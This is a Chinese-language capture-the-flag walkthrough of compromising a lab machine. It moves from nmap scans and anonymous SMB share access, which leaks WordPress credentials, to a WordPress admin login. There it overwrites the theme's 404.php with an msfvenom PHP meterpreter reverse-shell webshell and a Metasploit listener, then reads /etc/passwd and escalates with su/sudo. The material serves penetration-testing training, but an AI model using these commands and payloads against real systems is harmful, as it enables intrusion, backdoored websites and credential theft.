SMB介绍
SMB (Server Message Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。后来Linux移植了SMB,并称为samba。
SMB协议是基于TCP - NETBIOS下的,一般端口使用为139,445
SMB协议,计算机可以访问网络资源,下载对应的资源文件
实验环境
1.kali linux 192.168.253.12
2.靶场机器192.168.253.17
接下来该做什么呢?
目的:获取靶场机器上的flag值;
信息探测
对于只是给定一个对应IP地址的靶场机器,我们需要用对其进行扫描,探测开放的服务。
渗透其实是针对服务的漏洞探测,然后进行对应的数据包发送,获取机器的最高权限
- nmap -sV IP 挖掘开放服务信息
- nmap -A -v -T4 IP 挖掘靶场全部信息
从图中已知开放139,445端口
针对SMB协议弱点分析
1.钛怼SMB协议。使用空口令,若口令尝试登陆,并查看敏感文件,下载查看;
-- smbclient -L lP //列出该ip所分享的目录和链接
-- smbclient '\\IP\$share'
-- get 敏感文件 //下载文件
print$共享设备,share文件夹,IPC表示空连接,不需要用户也可登录web。
接下来探索这些文件夹中有哪些内容。smbclient '\\IP\$share'
print没有权限
发现print$共享设备,share文件夹,IPC表示空连接,这三个中只有文件夹可以查看(在登录文件夹时,让你输入password可以尝试用空进行登录),针对文件夹使用-- get 敏感文件
获取信息
.为当前目录,…为上级目录,查看wordpress中是否有信息,cd wordpress
配置文件中一般具有用户和密码,下载配置文件并查看
查看文件结果如图:
发现有一个数据库mysql,尝试进行远程登录,发现不行,
原本探测时,发现开放ssh 22端口
但是,发现密码并不正确
2.针对SMB协议远程溢出漏洞进行分析;-- searchsploit samba 版本号
使用2个版本号进行探测发现无信息
针对ssh和mysql进行登录受到权限的限制
改为:
针对HTTP协议弱点分析
步骤:
1.浏览器查看网站;
2.使用dirb nikto探测;
3.寻找突破点,目标登录后台,上传webshell;
1.探测:
打开这个界面出现:
使用Admin和前面获取的密码进行登陆。
发现登录到web页面之后,可以通过制作webshell
制作webshell
msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机P地址 lport=4444 -f raw >/root/Desktop/shell.php
输入msfconsole,启动监听
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcpmsf exploit(handler) > set lhost 攻击机iP地址
msf exploit(handler) > set lport 4444
msf exploit(handler)> run
启动完了之后输入use exploit/multi/handler
上传Webshell
使用找到的敏感信息登录系统后台,上传webshell。执行webshell(访问具有webshell的php页面)
获得反弹的shell
– wordpress上传点theme 404.php
执行: http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php
通过前面获取的系统后台,点击editor,结果如图所示:
再找到404.php,如图所示
把前面生成的webshell脚本覆盖放到404.php中,再点击uplate file上传文件
上传成功之后404界面就是webshell。
上传的webshell具有固定页面:http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php
再查看终端,已完成监控:
查找flag信息
优化终端: python -c “import pty; pty.spawn(” /bin/bash")'查找敏感信息,提升root权限,查看flag值。
查找用户名: cat /etc/passwd
如上图所示,找到了togie这一个用户名,
查找密码:在共享目录下的敏感文件,提升权限
-- su 用户名
-- sudo -l
-- su sudo
总结
对于开放139和445端口的机器一定要注意是否可以直接使用smbclient登录到共享目录查找敏感文件。
一般情况下flag值都在/root目录下,并且需要提升root权限才能查看内容;